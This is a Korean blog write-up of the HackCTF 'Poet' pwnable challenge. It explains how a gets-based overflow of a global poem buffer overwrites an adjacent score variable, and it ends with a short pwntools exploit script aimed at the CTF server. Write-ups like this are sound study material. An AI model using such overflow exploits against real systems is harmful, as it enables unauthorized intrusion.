[HackCTF] Poet
System/PWNABLE

[HackCTF] Poet

728x90

check

- 64bit

- NX

Analyze

pseudo code

main() 함수
get_poem()

- 초기화되지 않은 전역 변수 poem이 bss 영역에 1024byte만큼 할당되어있다. 이 때 poem의 값을 gets 함수로 읽어들이며 버퍼오버플로우 취약성이 발생한다. 

- dword_6024E0 변수는 점수라고 생각하면 되고, 매번 get_peom() 함수를 호출할 때마다 0으로 초기화한다.

get_author()
rate_poem()

- poem을 dest에 복사한다. dest 변수는 0x410 byte만큼 할당되어 있다. 

- dest 에 "ESPR", "eat", "sleep", "pwn", "repeat", "CTF", "capture", "flag" 의 단어들이 포함되어 있을 때마다 100점의 포인트를 추가한다. 

reward 함수

- reward() 함수에 도달하기 위해서는 rate_peom() 함수의 결과 dword_6024E0 변수의 값이 1000000이 되어야 하는데 get_poem() 함수에서 매번 그 값을 0으로 초기화하기 때문에 여러 번에 걸쳐 reward()함수에 도달하게 할 수 없다.

실행

>> get_poem()에서 poem 변수에 대한 값을 입력 받을 때 gets 함수만을 이용해 입력받기 때문에 오버플로우가 발생하므로 이를 이용해 dword_6024E0까지 도달하게 dummy를 채워 값을 바꾼다.

Exploit

from pwn import *

p=remote("ctf.j0n9hyun.xyz", 3012)
#p=process("./poet")

p.recvuntil("Enter :\n> ")
p.sendline("")

p.recvuntil("> ")
pl="A"*(0x6024E0-0x6024A0)
pl+=p64(1000000)
p.sendline(pl)

p.interactive() 

! 성공 !

SMALL

'System > PWNABLE' 카테고리의 다른 글

[HackCTF] 1996  (0) 2021.02.13
[HackCTF] g++ pwn  (0) 2021.02.13
[HackCTF] RTL_World  (0) 2021.02.11
[HackCTF] Yes or No  (0) 2021.02.11
[HackCTF] BOF_PIE  (0) 2021.02.10